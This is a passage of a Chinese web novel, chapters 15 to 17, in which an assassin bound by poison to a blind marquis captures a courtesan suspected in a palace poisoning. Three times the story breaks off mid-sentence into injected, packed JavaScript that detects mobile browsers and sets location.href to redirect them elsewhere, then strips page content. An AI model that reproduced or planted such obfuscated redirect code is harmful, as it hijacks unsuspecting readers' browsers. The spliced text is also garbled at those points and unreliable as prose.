闯进门,榻上之人可不同于苏木的震怒,只见顾长宁背靠着金丝祥云软枕懒懒倚在榻边床栏之上,竟如在地牢第一次瞧见他那般,眼底深邃黝黑,虽无波澜照映,却如同俯视蝼蚁。 苏木很生气,再瞧着眼前人不动如山模样,竟想给他两巴掌,瞧瞧他错愕震惊的模样。 可苏木依旧抑制住情绪,毕竟现在命攥在别人手里,祝余也在地牢之中。 “调查你?” 顾长宁好笑反问:“为何是调查你,你就没有反思过自己吗?” “闳离阁,鄢国大名鼎鼎的杀手组织,无人知晓其老巢所在,先帝在时曾花下重金买敌国天子龙头,不出半月敌国便覆灭,由此闳离阁声名大噪,其后更是在江湖上引起了许多腥风血雨,知道闳离阁的人,可不止我顾长宁一人,只要花下重金便总会有源源不断的人去完成目的,其下杀手刺客无一不狠辣绝决,只是不知有一天我顾长宁也有幸出现在了闳离阁的刺杀名单之上。” 顾长宁把玩着手中惊喜玄色茶杯,眼眸未对焦,嘴角牵起一抹让人恼怒的笑意:“可苏木,我记得我和你说过,你不是一个合格的刺客,所以我倒是很难想象你,是闳离阁派来的刺客。” “你知道你犯的第一个错误是什么吗?” 未等苏木开口,他继而道: “你作为一名刺客,却对要杀之人信息掌握甚少,若是你仔细了解调查过便知,我自三年前瞎了眼在府中,从未敢有其下称我问将军。这为其一。” “那夜,在我屋中与我周旋时,我并不是你的对手,从你速度、身手以及出招的习惯我能感受到你习武多年,莫说眼瞎,就算如今我尚好也恐怕与你平手,但你居然会为了自己的同类而将自己置于险地,作为刺客你不够冷漠,这为其二。” 顾长宁轻启双唇便洋洋洒洒说下许多,苏木听着他翻出前些日子所发生之事,脸上阴霾浮上一层又一层:“第三,你知道是什么吗?” 苏木未言,眉宇露出几分不耐烦,专挑着顾长宁的痛楚而怼:“废人死于话多!” 可瞧着塌上之人面容未带怒火,转而冷笑,像是了然一般:“苏木,你激怒不了我。” “你想不到?那我替你说。” 顾长宁放下手中玉杯,转而转动其手上扳指,那双骨节分明,修剪整洁的两指慢悠悠的转动,教苏木瞧着甚是不满。 “你太大意了,身在侯府处处皆是我顾长宁之人,你以为你的某些小动作能逃过我的眼睛,却逃不掉府中众人之眼,因此你与祝余什么关系,倒是一目了然。” “除此之外,本侯倒是也没想到,身手如此之好的刺客心性倒是简单。” 虽说心性简单不是什么贬义词,但在苏木听来,却似在嘲笑她一般,她脸色阴沉,想听听他接下来还能憋出什么好话。 顾长宁像是有些惆怅一般,竟还长叹了一口气:“苏木,你把人想的太简单了。” “那日,那瓷瓶底部有着你们闳离阁独特的标识,是两叶竹叶对吧。” 听到瓷瓶,苏木恍然意识到自己被骗,阴沉的脸更是蹙起双眉:“你骗我?那日你给我看到的并不是你手中的瓶子!” 顾长宁不以为然,故作反问状:“是又如何?” “你明明知道你们闳离阁善用白瓷,在我给你瞧过之后你便 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“头悬利刃,岂能安睡?我留你不过是利我而已,一则本侯近日要事诸多实在是懒得和你们闳离阁来的一拨有一拨的刺客周旋,留你入侯府,我也好时刻观察到你们闳离阁的动向,好以你命做要挟;二则我之前确实中了母蛊,子蛊不可种入同性体内,你恰好误打误撞,也可以此要挟你护我周全;三则,你虽然蠢但也意味着你不是纯纯的坏种,且武功又好,若能留下为我做事倒也是一桩美事。” 顾长宁低语,面带着笑意:“这样,可明了了?” 苏木在其下早已双拳紧握,见他笑着更是乱气横生,她冲上前去,似是带着划破长空一般的锐利,眼瞧着一拳要落入塌上之人脸颊,一双手更迅速地攥住了她的手:“苏木,别生气。” 见右手被攥,苏木左手上前拎着顾长宁脖前薄衫,衣领揉拧在她拳中,像是蹂躏着眼前人的骨血,被人洞察至此算计至此苏木眼带寒霜,怒骂:“卑鄙!” “卑鄙?”顾长宁倒不怕,反笑:“我可不算卑鄙,你若是能完成安排给你的任务,蛊解你离,本侯不会有半分强求。” 苏木瞧着眼前人面容在咫尺竟也觉得恶心,立马甩开攥住的衣领往后退了半步:“放心,你要的人,我会给你带过来。” 苏木知觉踏入这主屋像是脚踩烂泥一般让人直觉恶心,抛下这句话,她再也不想多做停留,在转身离开时,她死死盯住顾长宁:“将祝余放出来,还有,别动闳离阁的人。” 说完这句,苏木扬长而去,屋中再次恢复平静,室内熏香萦绕而上,很快就将苏木来过的气息一扫而空。 见人走远,顾长宁倚在床栏上的背脊终于有些支撑不住,只见他轻轻起身,胸口猛地一阵起伏,竟是一滩乌黑发亮的血喷入锦毯之上。 顾长宁仰头抹干唇边血渍,掀起自己衣领细闻,一股药味便刺鼻冲头,往脖颈一看,肤色已渐渐红温,还带着细小的麻疹。 顾长宁与椒相冲。 以椒粉抹入衣领,苏木,该说你幼稚还是说你狡猾! - 屋内,扬风从屏风后而出,一个急步冲入顾长宁跟前,面带担忧:“公子,你为何故意激她?” “我去给你拿止痒粉!” 15. 第15章 顾长宁往纱帐里面靠了靠,甩开衣袖,举起骨节分明的手,食指掠过嘴角,骨节处染上些血红:“圣上何时到侯府?” 扬风从屏风后出来便直奔角落立柜,打开后也是未翻找,直拉木屉,找到自己所需之药,扬风心下才放了心,缓缓答道:“还有一个时辰。” “那便够了,此事疑点重重,我们虽知下毒之人并非她,可圣上不知,若是要牵连出些前因后果,她怎样都难逃一劫。” 顾长宁掀开肩上里衣,示意扬风擦药。 扬风打开那玄色瓷盖,倒了些许粉末在手掌,两掌合并揉搓后往顾长宁背部抹去“侯爷真聪明,她此刻定想快些完成任务,早早离开侯府,眼下算着时候,怕是半个时辰后便能出府。” 顾长宁瞧着手腕处开始起些小疹子,未再开口,眼底无波。 - 申时将近,天色渐沉。 窗外灰白的天色低垂,雪光还未散,寂静中只偶有几只寒鸦掠过枝头,啼叫声嘲喳难听,被外头下人赶走后振翅而飞,扑腾声清脆而短暂,庭院有了几分生气,但很快又归于无声。 殿外日光微弱,映得屋内帘影浮动,寂静中忽有整齐的脚步声由远及近。 门开,小厮曲腰站立两旁,秉着呼吸待那人入内。 皇帝着一袭暗金纹云龙常服,外罩的月白大氅落了些积雪在肩头,李公公上前小心为他拂去,领口与袖口绣的金线在外日光照耀下晃得人眼生疼。 步入屋中时,衣袍曳地,发冠上嵌着温润珠玉,瞧见顾长宁时,眼底满是和煦,倒是少了些天子威严。 屋外,随侍的内侍与侍卫肃然而立,未发一言,那威势,仿佛屋外本就稀薄的空气都凝滞了,让人更感受到严寒。 顾长宁躺于榻上,面色仍然苍白,眉眼间带着久病未愈的虚弱。听这驾驶便知皇帝进来,他立即支撑着要起身行礼。 “臣,参见陛下……” 皇帝连忙抬手,神色淡然而威严,声音沉稳:“长宁,你还病着,免礼吧。” 顾长宁这才缓缓坐回去,垂眸恭敬,略带虚弱的身形依旧挺拔。 皇帝在一旁木榻坐下,衣袍铺展如卷轴,目光扫过顾长宁身侧仍未撤下的汤药与空盏,语气含着一丝关切:“朕听闻你醒了,心下稍安。” 顾长宁坐在皇帝身侧,微微侧身拱礼,他眸光平静,虽不至于亲热,但也不疏离:“劳陛下挂怀。” “你是朕的左膀右臂,朕还盼着你再入朝堂。” 皇帝说话不避讳,他知道顾长宁现有眼疾,但他如今也的确需要身边有谋划之人助他。 顾长宁知道皇帝所想,但他已是看过许多大夫医师,早前就连太医也时常来往为他医治,但从未有过好转,顾长宁不愿提起此事,缄默不语。 皇帝自不会怪罪于他,于是峰回路转,将话引子引到他处:“此番之事,可查得何人下的毒?” 下人端来一碗黑黢黢的药递给顾长宁,他眉头一蹙,接过后回:“回陛下,此毒乃是臣府中一名婢女所下,如今已打入地牢了。” “我来此地,是想亲自审她。” 皇帝语气平平,却有着不容拒绝之威严。 一饮而尽,下人这才退下。 顾长宁知他之意,舒眉而笑:“此等事,怎敢劳烦陛下,况且此毒并非她所下却因此而被动了刑,臣已遣她回家养病了。” 皇帝抬眉,见此缄默,见屋内如此多的人,他眉间微动,不用开口,一挥手,李公公便是是和意思,遣散了闲杂人等,暗暗扣住了房门。 许是刚刚药的苦涩味传入皇帝鼻中,他语带安慰:“长宁,辛苦你了。” “不过,你说的那名婢女不是扬风那日所说的苏木?” “并非。” 顾长宁一口回绝,转而解释:“苏木和那名婢女都是府中一等下人,因此所穿衣物相似,被扬风看恍惚了神。” “那那日给你服药的姑娘呢?” 皇帝语气轻柔低缓,温声询问。 顾长宁醒来后扬风尽数将他昏迷时所发生的事情告知了他,他自然也知道皇帝所问的是祝余,他很清楚,皇帝将他看作信任之人,也要确保他顾长宁身边之人皆无问题。 他缓缓开口:“也是府中婢女,学得一些江湖医术,背后倒是干净,臣已经让她领了赏。” 听到想听的答案,皇帝满意的点点头,转而想起了最要紧之事,面色也凝重许多:“前些日子让你所查之事可有眉目了?” 皇帝暗指之事,顾长宁很是了然。 大约在半月前。 庆春贺节,宫中张灯结彩,遍植冬梅,檐下红绸与金线交织,灯火自巳时便未曾断过。 上京城所有显赫世家与朝中权贵尽数赴宴,百官衣冠楚楚,王孙公子、名门闺秀汇聚一堂,宫道上人声鼎沸,华盖之下香风袭人。 宴席之上,珍馐罗列,鳜鱼羹清鲜透亮,蜜炙鹿脯甜香柔韧,连那寻常不过的冬笋脆炒,入口亦带着玉脂般的润滑,惹得几位素来挑口的权臣都频频点头称赞。 觥筹交错,笑声不断,赵家伯爵世子端坐摄政王身旁,笑得端正。 无人知晓,就在众人尽兴之时,那看似无害的装满琼浆的玉盏中,早已被暗中投下无色无味之毒。 杯盏间的热闹犹在耳边,眨眼却成了惊变,待众人察觉时,便只剩下一片杯盘狼藉与痛苦压抑的闷哼,彻底打碎了这场原本该尽欢的盛宴。 世子中毒昏厥,几经濒临断气,赵氏伯爵乃是先帝在时就重用的三大世家之一,自皇帝登基后也是辅助有功,出策无数。 皇帝甚是震怒,命宰相彻查此事,短短数日竟搬出御膳房出了纰漏这般借口以了事,皇帝怀疑是皇家与赵氏一族太过亲近而遭毒手,又暗自派稽查司查探此事,但七日过后也只查出些蛛丝马迹,皇帝只好将此事又暗中交给了顾长宁。 一是顾长宁如今不上朝堂,查案行踪不起眼;二是顾长宁也算和皇帝一同长大,皇帝信的过他。 “有了些线索,不出五日,定能给陛下一个交代。” 顾长宁并非盲目自信,而是在他的暗查之下得知,宫宴那日,一嬷嬷曾瞧见宰相府中一小厮去过御膳房,觉着可疑,顾长宁前些日子便派着扬风整日在宰相府蹲着,终于那日小厮出了门,扬风紧跟其后,拐进一四通八达 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189728|181081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小巷后人已不见了踪影,再找到时,人已经断了气。 不过好在扬风一日在城西闲逛,意外发现宰相府中小厮喜欢到玉春楼嫖/都,扬风几日玉春楼查探,才发现一小厮喜上三楼雅室,每日进去待半个时辰便出来了,这倒是与哪些一醉良宵的玉春楼常客不同。 扬风仔细询问才知,那小厮每日所见皆是一人,便是那位声名大噪的花魁:月华姑娘。 如今,那月华称病不接客,顾长宁也能想到或是行踪有些暴露,但只要人没死,一切都好办,况且前日,他已经让凌风将月华弟弟所抓,只等月华落网。 而使她落网的关键便是苏木了。凌风与扬风皆已暴露,只有苏木能够接触到月华,他相信以蛊要挟,苏木定会带回那人。 顾长宁侧耳,声音虽低哑却冷定如昔:“陛下,臣定还伯爵与陛下的朝堂一个清明。” 皇帝静默片刻,眸色深不可测,终是点了点头,道:“朕对你放心,期待你的消息。” “你早日康复,朕还有许多事,需你襄助。” 屋外微风吹过檐角,发出轻微的铃铛声,皇帝坐于余晖影下,姿态安然而不失尊贵,而榻上的顾长宁,虽然大病初愈,却依旧脊背笔直,未失昔日沙场将军之风骨。 屋中一时寂静。 皇帝微微偏过头,看着顾长宁削瘦的面容,眼底闪过一抹晦暗不明,随即被那与生俱来的帝王从容掩去。 “长宁,”他语声放缓,带着不易察觉的试探与笃定,“此次之事,你可曾能查到是否有人在背后推波助澜?” 顾长宁垂下眼睫,唇边浮起一抹极浅的笑,他知皇帝需要一个自己想听到的答案。 他声音依旧带着病后的低哑与虚弱,却不失冷厉:“臣不敢妄言,待确认之日,自会禀明陛下。” 皇帝闻言,眸光微微一敛,随即笑容满面,但笑意未达眼底,唯有唇角淡淡弧度,带着与生俱来的冷锐与凌厉:“好,你向来谨慎,朕信你。” 屋内再次寂静无声,气氛并不凝重,但也不算轻松。皇帝指尖轻叩塌沿扶手,发出一声声入人心的响声。 屋外风吹动帘幔,透进冬日午后的日光,枯枝树影透过雕花窗棂落入顾长宁脸颊,他感受到眸外传来的暖意。 皇帝站起身,低头轻言:“好生休养,朕还等着你。” 语毕,他拂袖而去,随侍与内侍们听到屋内动静,大门听话地被打开,其余人等立即跟上,衣袍声与玉佩碰撞声交织成清脆的余韵,直至门槛之外,逐渐远去。 顾长宁听着那道声音远去,唇角笑意淡淡,眉目间却尽是冷意。他闭了闭眼,心中清明如水——这世上,能救他的,能杀他的,终究都不过寥寥几人。 也许宰相,算其中一人。 顾长宁在塌上久久未动,他倒是忘了问长姐在宫中可安好,家父又何时能归京。 所谓信任之人,不过是那人所亲之人皆攥入他手,可一道命令,与长姐相隔,与父永诀。 顾长宁眸中无色,却黝黑冷冽,他冷声开口,像是自言自语:“这眼,不好也罢。” 少与朝堂多些牵扯,他才能护得所护之人周全。 16. 第16章 从顾长宁屋中走出来时,苏木已气的如火星洒落干草之上顷刻便要点燃。 顾长宁的另一个侍从凌风迎面而来,正撞着苏木枪口,她没给好脸色:“你们家侯爷说将祝余从牢里放出,你可快去。” 凌风平日很少能与苏木碰面,但见到苏木命令说的如此肯定,不自觉地拱手道:“是。” 苏木言罢正向前走着,突然听到凌风毫无犹豫地回答,她倒是觉得少见,没曾想顾长宁身边也有能听话之人,于是侧头勉强扯起半分笑,拂去了刚刚一大半的怒意。 随即头也不回地朝厢房去。 如此久未回厢房,再加上扬风他们也并未在她房中发现影儿的踪迹,苏木才更是着急。 心头有些慌张,脚下也难免快了许多,刚从牢里出来,苏木还有些虚弱,只能小跑着往厢房方向跑去。 脚步一歇,苏木毕竟是练家子,也未喘气便踏步往屋中走去,木门发出些嘎吱的响声,像是在宣告她她久未进门。 她环视四周,屋中陈设尽如她走时一般无二,四下也并无他人身影。 苏木不得其解,又转身往屋外庭院瞧去,这冷清的东苑厢房除了一两颗石榴树光秃秃的便是地下几株枯黄的野草,一眼便能望到头的,确实别无他人。 她正想往院外去瞧瞧,又回过神来发觉自己忘了洗漱,还是先去了趟膳房取了些热水来,这才舒舒服服地坐在浴桶之中享受久违的安宁。 玉手撩拨些腾气雾绕的水珠打落在苏木身上,却一时忘了自己左臂还有一道扬风留下的刀伤。 刀伤不长也不算深,那日祝余给她的药用上后倒是好了很多,只是虽然这水不算烫,但触及伤口还是有些刺痛。 苏木眉头一凛,透露出心底的不快,来了侯府不足半月,她这就从未有伤倒变成了遍体鳞伤。 苏木明白自己不宜一直泡在水中,掀起身旁架子上的衣物便覆身,未处理浴桶中的水,她急急整理妆发后就要出门。 站至门前时,油窗之外透着一人影,那人影与她仅一墙之隔,瞧着影上妆发,那也是女儿家的模样,苏木以为是影儿,忙着开了门。 门开,身着浅杏色襦裙,外套着粉色素绫褙子的少女眉眼温柔,带着几分楚楚可怜的神色,苏木愣了一刹才反应过来,居然是西苑的芜衣。 “苏姐姐,你没事吧?”芜衣眸中闪着担忧,小心翼翼地看着她。 “我听说你入了牢狱,可有哪里受了伤?” 担忧之色一转,突而又眼含着些泪水,叫人看着可怜:“也怪我无能,无法相助于姐姐。” 苏木低头掸了掸袖上的微尘,虽有些失望所见之人并非心中之人,但很快便调整过来,语气还似平常淡然,见眼前人关心自己吗,苏木脸上露出些温和:“无碍,你这几日在西苑可待的好?” 想起之前欺负过芜衣的青颜,苏木安慰:“青颜以下毒之罪已入牢狱,这下西苑倒是无人能欺负你了。” 芜衣站在门外,像是的确很是高兴,立马握住苏木的手,语带喜悦:“的确如此!” 转而,她又垂下双眸,面露难色:“不过……不知为何,西苑的人因为青颜好似都不太待见我,不知芜衣可否来东苑与你同住?” 苏木很少与人肌肤接触,被芜衣握住时肩膀都一僵,蹙眉看向祝余时,语气平平:“府中下人所居之所皆是由管家所定,也并非你想来便来的。” 苏木所说之话也并非胡诌,她之前也不过是在西苑,只是眼下是被顾长宁调为一等才进了这东苑。 但除此之外,苏木也不想与人同住,坏她清净。况且,如今影儿不见踪影,她又如何去和管家报备,现下少让人来这才是正解。 许是说这话时苏木面色过于冷漠,芜衣见状更是怯懦,声如细蝇一般:“是芜衣僭越了……” 这话一出,苏木顿时心软了半分,她最是瞧不得女子在她跟前落泪,何况是芜衣这般总是胆小怯懦的样子。 她长叹一口气:“我说过会教你功夫便一定会教你,届时他们若再欺负你,你再将他们打回去便是。” 苏木早已没了耐心,转身从怀中掏出钥匙将门上了锁,懒懒道:“我有余事要处理,你先回西苑,我空时便去教你。” 芜衣站在原地怔了一瞬,随即扯出一个轻浅的笑,摇了摇头,声音带着柔顺:“没事的,姐姐。” 说完,眸中仍旧含着一丝未散的忧色,还不放心般盯着苏木的脸色看。 苏木只给她留下了背影,也懒得再去安慰,她得动身去玉春楼,月华她必须要带回侯府,不然她不知道顾长宁还要将她困在这侯府到何时。 出了府邸,苏木倒没有直接去往城西的玉楼春,她记得那日是在酒肆窗旁瞧见的月华,于是想要试试是否还能碰巧遇到,只是苏木带着帏帽坐在窗旁,却始终没瞧见人影。 苏木给了酒钱出门去,踩着青石板路,紧了紧斗篷的领口。 四下观望,瞧见一垂髫很是可爱,忍不住多看两眼时余光却注意到不远处首饰铺子前所立一女子。 女子侧颜,苏木抬头细看时觉得很是熟悉。 是月华。 苏木反应过来,但意识到距离不远,也不好瞧的太明显,拉拢了几下斗笠,苏木脚步轻缓地沿着街边小铺而动。 冬日申时,街上却不显冷清依旧人来人往,酒楼饭铺门口小二吆喝声不断,香铺檐下挂满了新制的草药香囊,飘出淡淡清苦味。 随着苏木脚动,远处人似是意识到般往其她铺子而去,瞧着有些机灵竟拐进一四通八达小巷,苏木懒得再玩这躲猫猫的游戏,实在不愿受制于人,正要飞身跃前直接拦下时,那人又拐进大道之中。 人群熙攘,几次眼看着要被众人冲散。 苏木穿梭于街角,眉头微皱,目光在行人间来回扫视,袖中握着短匕,指骨因用力而泛白。 她正要循另一条小道绕进前方,忽听前方传来一阵喧哗: “稽查司办案——闲杂人等退避!” 霎时,街道尽头围观的人群被一驱而散,一队身着玄衣的官兵迅速列阵。苏木抬眸看去,率众而立的男子一袭月白常服,外罩黑色披风,领口系着的鎏金流苏随风微动,气度温文而不失威严。 上京城倒是不缺英俊的官郎儿。 她眼底闪过一抹光,随即垂眸隐去,正要继续寻找女子身影,却听到耳边议论纷纷。 “快看,是稽查司的都指挥使!” “听说年纪轻轻就已手握稽查司,真是……” 一众男子循声望去,瞧见是稽查司之人,于是闲聊,其中一男子倒像是自己做了指挥使一般神气: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189729|181081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “他如此执掌稽查司,心思缜密眼光如炬,虽仅上任四载却破案无数,京中百姓皆道他‘断案如神,审理如风’,凡经他手之案,鲜有未破之案,未平之事。” 苏木听着耳畔如蝇一般飞绕的声音,虽有些嫌弃吵闹,但多少听了些进去。 断案如神? 苏木思绪凌乱停下了脚步,一瞬将自己拉回来后又用着锋利的眼神朝那玄衣男子瞧去。 上京城如今之人皆有嫌疑,若自己以后有意寻他翻旧案,那也应是自身确保他乃好人才行。 她眼带锐利,不想瞧着逃犯的目光突然与她撞上,苏木忙忙别过眼神。 为何,这双眼有些熟悉之感。 百姓窃窃私语,声音却骤然被一声怒喝打断。 “都别过来!” 一名被捕快按跪的汉子骤然猛扭动翻身,似猛虎般夺下捕快腰间短刃,起身挟住街边一名买菜妇人,刀刃抵在她颈间,鲜血沿着刀锋缓缓渗出。 街上一时间鸦雀无声。 白衣男子上前一步,眼眸中带着不忍,声音温润却不容置疑:“放下刀!再负隅顽抗,只会死得更快。” 那大汉眼见无路可逃,已是双眼通红,活像只绝望之地拼死一搏的野兽,口中嘶吼着不成句的咒骂,刀刃却在妇人颈侧逼得更紧。 周围捕快握紧刀柄蠢蠢欲动,却无一人敢擅动。 苏木的目光落在那妇人发颤的肩膀上,眸色微沉。下一瞬,她脚尖一点,整个人自街边倏然掠出,月色斗篷翻飞,疾风裹挟着衣袂,留下些簌簌之声。 几乎无人看清她的动作。 她先是闪到大盗背后,抬手扣住他执刀的手腕,指尖微一用力,便听“咔嚓”一声骨裂之音。男人疼得短刃脱手,凄厉嘶吼尚未出口,苏木反手擒住他的肩胛,脚下一绊,将他压得扑倒在青石板上,动弹不得,一只脚压在大汉脸上,满脸尽是不屑。 街上寂静无声。 苏木放开手,淡淡扫了妇人一眼,冷声道:“快走。” 妇人很是感激,但害怕更甚,只慌张点头后扭头便跑开了。 两边侍卫靠拢来,见大汉再无逃脱之回旋余地,苏木转身便要离去,撤腿时袖袍翻过衣角,腰间镶玉腰佩,微微一晃。 白衣男子正静静看着她,眸色柔和时,在瞧见腰间玉佩时眸光一瞬滞愣。 “姑娘好身手”他拱手,语气真挚:“多谢姑娘出手相助。” 苏木却未回礼,只微微垂眸,淡淡“嗯”了一声,还未等人再次开口,乘着人群退散之时转身隐入人群。 身后,白衣男子朝人群定眼瞧了许久,收回目光后挥手示意捕快们押人离去,月白衣袍在冬日残阳下,映出几分淡金色,风骨温雅,背影却自带不可逼视的清贵凌厉。 苏木行在路上,腰间玉佩随韧腰浮动而发出些声响,意识到玉佩自怀中不小心落出挂于腰间,她小心查看无损后又如珍宝般放入怀中。 她这辈子唯一在意的两件物件儿。 一个是儿时故交 ——谢辞桉所送玉佩; 二是灭门之日,所获箭镞。 苏木收回乱飞之绪,猛地一顿脚步,忽然想到了什么便快速飞身而起,循着直觉望去时,终于瞧见了熟悉身影。 这一次,想逃可没那么容易。 17. 第17章 天色已近酉时,冬日的暮色压得屋脊愈发地沉重,屋瓦已渐起白霜,而飞掠于梁上之人却未觉湿滑,灰蓝色的天幕低垂,映照出梁上之人的身形矫捷。 苏木脚下轻快,轻点一头檐角便可轻松落入他处,她目光凌厉地扫过斜下方人头攒动处唇线紧抿,只见额头一皱,眼神便定在了一处。 未贸然出声落地,苏木借着巷子尾巴的柴垛,身形如夜中黑影,足尖轻地面,未有任何声响。 扫视四周,见人群逐渐稀散,她小心转过北角,瞥见了那抹细微的身影,正沿着耳房梁壁偷摸移动,苏木目光如炬,那人脚步虽轻,却躲不过她的眼。 渐近,她眸色一沉,衣摆翻飞时她已如夜枭般置于月华身前。 “躲够了吗?” 少女的声音透着冬夜的凌厉,凉风簌簌时,她的尾音也不带任何的起伏,但是整句话都带着刀锋般的凌厉与杀气。 月华精美的花容顿时失惊,刚想要回头遁跑时,还尚未看清眼前人的身影,手腕却被如同铁钳一般的力道给锁住,紧接着,她感受到自己肩头被按,整个人已被她轻而易举地牵制住,压在冰冷的木壁之上。 苏木已看清此人容颜,却如描述、如玉春楼画中无二,见月华要挣脱,便是毫不手软的一掌劈在了她的肩头,感受到掌中人已无力,将人扛上,倒是没沿着青石街而行,沿着屋檐,一路直奔侯府。 扛着那女子落入侯府门前时,苏木未觉半分劳累,只是瞧着朱红大门外挂着的暖黄灯笼,眼神未被其影响柔和,倒是多出几分寒意。 月华已带回,还差一件事,她便可以解了这蛊毒,离开这朱门大院。 大门紧闭,门口高高挂着的灯笼被吹的左右甩晃,仿佛下一刻便会撕烂倒地,正如苏木挡于脸前的帏帽一般,纱被冷风掀开,露出苏木那张清冷疏离的面容。 缓缓向前去,立于门前方停下。 “开门。” 苏木声音不大,却带着不容置喙的凌厉之感,守门小厮见清来人,连忙推开了门扇。 一开门,灌风而入,苏木衣诀乱飞,往前走着却未被烈风干扰半分,异常冷静。 扬风恰巧立于廊下,听到动静后抬眼望来。 似是有些惊讶苏木肩头扛着人,他眼底闪过一丝诧异,但苏木却未顾及,愣是只眼神划过去一眼,走到他跟前时脚步未停,抖落肩膀抬手时,女人便身如麻袋一般麻利地滚进扬风的怀里,发出一声沉闷“砰”声。 “交给顾长宁,叫他尽快安排第二件事。” 苏木语气淡漠,丢完人转身便走,披风衣摆拂过地面时,发出些沙沙声,背影倩丽却从容不迫。 扬风站在原地硬是楞了两秒,总觉得,他自己被除了自家小侯爷以外的人所命令了。 但无暇多想,扬风再次扛起那人朝东苑方向而去。 - 夜色如初,苏木回屋换了身夜行衣,无声落入侯府西北角的屋檐上。 侯府器库,便是她所望去的地方。 坐落于西北角不起眼的角落,可库房规模却并不小,前几日,苏木借着养伤,倒是大致摸清了他顾长宁侯府的各个犄角旮旯,这器库一般放置府中各类兵器杂物,苏木身处侯府,自然不会错过这机会。 心知顾长宁与侍从去往地牢审查犯人,凌风虽未见其影大概也是被派往别处,府中无于她抗衡之人,再加上她做事一向小心,并不会留下些许踪迹,这才小心来了这器库。 苏木身着夜行衣,混入夜色之中不辨其人,她袖口系地干净利落,其余一身皆是贴身。 她附身,拿出细铜丝在铜锁卡口间来回摸索,指节轻敲几下锁面,很快锁簧便弹开,发出轻微的声音。 她小心推门而入,一股寒意夹杂着冷冽的铁锈味扑面而来。 掩上门,苏木朝里瞧去,终是瞧见了侯府器库之里。 借着月色,苏木一眼扫去,房内陈列着整齐的兵器架,刀、枪、剑、戟各式各样,寒光映着银色剑光,亮堂地倒映在她的眼底。 每把兵器都保养得极好,镂金刻银,雕纹古朴,刀背锋利,剑脊精巧,枪尖卷着红丝缎带,偶有风过时轻轻摇晃,碰撞出一丝轻颤。 她仔细地翻找,动作幅度却尽量缩小,每打开一个箱子,都会确认其中武器的结构与重量。 箱盖被她无声掀起,折叠的刀、短剑、弩机、甚至还有数十支锥形飞针,都排列得整整齐齐。 发现无她所找之物后,苏木转身又去向另一立架子。 可是四下查找,却始终没找见弓箭所在之处。 她的呼吸愈发轻,手也越翻越快,生怕被人发现。 箭镞却始终没有出现。 四下已被她查找了个遍,苏木已然准备离去,余光却在拐角时扫见了离门不远处角落的硕大木箱。 她正要往那方向而去,却在听到外面传来脚步声时动作一顿。 她眸光一冷,迅速跃到最里侧,将自己藏在两排立式刀架之间。 “府兵所替用刀可换置了?” “瞧着器库锁开着,应当是下人们搬去了。” 门“吱呀”一声被推开,灯火被风吹得忽明忽暗,外面走进来两人。苏木却未有紧张,侧耳听着来人。 “侯爷,月华那边是不审了吗?”是扬风的声音,语气很是恭敬。 “嗯。”另一道声音低沉冷漠,是顾长宁。 苏木倒是没想到顾长宁二人竟如此之快就从地牢出来,她透过架子缝隙,看见他一身玄色常服,身姿修长,气势逼人,手中手杖未削弱气势,倒是平添几分威严。 “虽说她有身孕,但侯府地牢倒也不是给她养胎之所。”顾长宁顿了顿,声音低哑。 “再给她三天,若不开口,就用刑。” 他的语气平静,仿佛在说一件再寻常不过的小事。 “属下明白。” “月华怀中所藏的那枚银簪你可取下了?” 顾长宁声音不大,冷肃道。 “取下了。” “查一下是在哪家商铺所造,那家商铺都有何人去过。” 低沉醇厚的嗓音传入苏木耳中,倒是让她突然有了新的思路,她倒是可以去找找往些年官府所征召的民间工艺坊,或许他们见过那箭镞。 “是。” 扬风回答的干脆,却忽然压低声音:“侯爷,有件事,扬风想问问您。” 苏木身形一绷,以为自己要听到什么机密之事,却不料听见了自己的名字。 顾长宁未开口,似乎在示意扬风继续,扬风虽直问,但语气多少压低了些。 “那苏木姑娘再怎么说也是一名刺杀你的刺客,你当真要一直留下她?” 苏木瞧见顾长宁薄唇微抿,沉默了片刻,似是在思考什么,但很快又给出了答案,冷声开口:“留下她,还有些用。” 短短一句话,冷硬无情,像寒夜里苏木背后架上冰刀刃的霜雪。 苏木在刀架后握紧了指尖,藏在夜行衣里的心口微微起伏,眼神却愈发冷厉。 屋外风声猎猎,吹动刀架上垂挂的流苏,轻轻碰撞在她耳畔,发出“叮”的一声脆响,像极了她此刻心底泛起的那点嘲讽与荒凉。 三人处于器库,却寂静无声,她瞧见扬风不再多问,也瞧见顾长宁脸上平静 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189730|181081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如常。 半晌,顾长宁的声音再次传入苏木耳中。 